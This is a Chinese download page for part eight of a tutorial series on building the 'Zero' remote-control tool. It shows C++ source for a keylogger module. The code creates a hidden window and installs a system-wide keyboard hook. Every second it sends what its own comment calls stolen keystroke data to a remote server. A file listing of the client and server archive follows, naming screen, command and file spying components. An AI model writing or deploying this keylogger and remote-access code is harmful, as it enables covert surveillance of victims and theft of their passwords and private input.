• 大小: 161KB
    文件类型: .rar
    金币: 1
    下载: 0 次
    发布日期: 2021-06-05
  • 语言: 其他
  • 标签: Zero远控  

资源简介

从零开始做远控教程(远程控制) 第八篇 键盘监控

资源截图

代码片段和文件信息

#include “keyboardspy.h“

// 互挤体,用来确保线程安全
static CRITICAL_SECTION gCs;
// 初始化类
static KeyboardSpy spy;
// 窗口句柄
static HWND hWnd = NULL;
// 键盘钩子句柄
static HHOOK gHHook = NULL;
// socket列表
static std::vector gSockets;
// 键盘数据缓存区
static std::vector gBuffer;

KeyboardSpy::KeyboardSpy()
{
    // 初始化互挤体
    InitializeCriticalSection(&gCs);

    // 创建一个对话框来处理win32事件
    createDialogByNewThread();
}

KeyboardSpy::~KeyboardSpy()
{
    if(hWnd) {
        // 关闭计时器
        KillTimer(hWnd 0);

        // 删除socket
        const int max = gSockets.size();
        for (int i=0; i            gSockets.at(i)->dissconnect();
            delete gSockets.at(i);
        }

        // 关闭窗口
        DestroyWindow(hWnd);

        // 移除键盘监控
        if (gHHook) {
            uninstallKeyboardHook(gHHook);
        }
    }

    // 删除互挤体
    DeleteCriticalSection(&gCs);
}

void KeyboardSpy::startKeyboardSpy(std::string domain int port)
{
    TcpSocket *sock = new TcpSocket();
    if (!sock->connectTo(domain port)) {
        // 释放socket
        delete sock;

        std::cout << “Failed to connect server for keyboard spy“ << std::endl;
        std::fflush(stdout);
        return;
    }

    // 把socket加到列表,当有键盘数据就会调用socket
    addSocket(sock);

    // 输出信息
    std::cout << “Started keyboard spy success“ << std::endl;
    std::fflush(stdout);
}

void KeyboardSpy::createDialogByNewThread()
{
     // 启动一个新线程来做监控
     HANDLE h = CreateThread(NULL0KeyboardSpy::threadProc(LPVOID)NULL0NULL);
     if (!h) {
         std::cout << “Failed to create new thread“ << std::endl;
         std::fflush(stdout);
     }
}

DWORD KeyboardSpy::threadProc(LPVOID)
{
    // 创建一个不可见的窗口来处理win32事件
    WORD tempMem[1024];
    LPDLGTEMPLATEA temp = (LPDLGTEMPLATEA)tempMem;
    temp->style=WS_CAPTION;  temp->dwExtendedstyle=0;
    temp->x=0; temp->y=0;
    temp->cx=0; temp->cy=0;

    int ret = DialogBoxIndirectParamA(NULLtemp NULL keyboardSpyWndProc(LPARAM)NULL);
    if (ret == -1) {
        std::cout << “Failed to create dialog box for keyboard spy“ << std::endl;
        std::fflush(stdout);
    }

    return true;
}

WINBOOL KeyboardSpy::keyboardSpyWndProc(HWND hWnd UINT uiMsg WPARAM  LPARAM )
{
    switch(uiMsg) {
    // 初始化监控
    case WM_INITDIALOG: {
        std::cout << “WM_INITDIALOG“ << std::endl;
        std::fflush(stdout);

        // 定时发送窃取的数据
        const int time = 1000;  // 我这里设置1秒发送一次,你可以设置你自己想要的
        SetTimer(hWnd0 time sendKeyboardData);

        // 安装键盘钩子来截取系统的所有键盘输入
        gHHook = installKeyboardHook();
        if (!gHHook) {
            std::cout << “Failed to install keyboard hook“ << std::endl;
            std::fflush(stdout);
        }

        break;
    }
    case WM_PAINT:
        // 隐藏窗口
        ShowWindow(hWndSW_HIDE);
        break;
    default:
        break;
    }

    return false;
}

HHOOK Keyb

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----

     文件       1378  1997-10-18 15:41  Zero远控-08\ZeroClient\jpeg\jconfig.h

     文件      12717  2014-09-03 11:55  Zero远控-08\ZeroClient\jpeg\jmorecfg.h

     文件      47339  2016-12-21 08:02  Zero远控-08\ZeroClient\jpeg\jpeglib.h

     文件     235030  2014-04-05 15:23  Zero远控-08\ZeroClient\jpeg\libjpeg.lib

     文件       7089  2016-12-22 17:41  Zero远控-08\ZeroClient\keyboardspy.cpp

     文件       1512  2016-12-22 15:24  Zero远控-08\ZeroClient\keyboardspy.h

     文件       1182  2016-12-22 16:11  Zero远控-08\ZeroClient\main.cpp

     文件       9187  2016-12-22 11:23  Zero远控-08\ZeroClient\screenspy.cpp

     文件       1378  2016-12-21 14:42  Zero远控-08\ZeroClient\screenspy.h

     文件       2979  2016-12-20 16:30  Zero远控-08\ZeroClient\tcpsocket.cpp

     文件        901  2016-12-21 12:27  Zero远控-08\ZeroClient\tcpsocket.h

     文件       7959  2016-12-22 16:15  Zero远控-08\ZeroClient\zeroclient.cpp

     文件       2357  2016-12-22 16:13  Zero远控-08\ZeroClient\zeroclient.h

     文件        261  2016-12-22 10:29  Zero远控-08\ZeroClient\ZeroClient.pro

     文件      23635  2016-12-22 17:42  Zero远控-08\ZeroClient\ZeroClient.pro.user

     文件       1784  2016-12-22 17:37  Zero远控-08\ZeroServer\keyboardspy.cpp

     文件        984  2016-12-22 17:42  Zero远控-08\ZeroServer\keyboardspy.h

     文件        199  2016-12-19 12:00  Zero远控-08\ZeroServer\main.cpp

     文件       5064  2016-04-24 09:10  Zero远控-08\ZeroServer\resources\cmdspy.png

     文件       8132  2016-04-24 09:13  Zero远控-08\ZeroServer\resources\filespy.png

     文件       4560  2016-04-24 09:23  Zero远控-08\ZeroServer\resources\keyboardspy.png

     文件       7688  2016-04-24 09:14  Zero远控-08\ZeroServer\resources\screenspy.png

     文件      21662  2016-04-24 10:49  Zero远控-08\ZeroServer\resources\zero.ico

     文件       3644  2016-04-24 10:44  Zero远控-08\ZeroServer\resources\zero.png

     文件        324  2016-12-18 16:40  Zero远控-08\ZeroServer\resources.qrc

     文件       2750  2016-12-22 17:05  Zero远控-08\ZeroServer\screenspy.cpp

     文件       1264  2016-12-21 15:47  Zero远控-08\ZeroServer\screenspy.h

     文件        892  2016-12-21 12:56  Zero远控-08\ZeroServer\tcpserver.cpp

     文件        892  2016-12-20 11:15  Zero远控-08\ZeroServer\tcpserver.h

     文件       1060  2016-12-21 15:13  Zero远控-08\ZeroServer\tcpsocket.cpp

............此处省略21个文件信息

评论

共有 条评论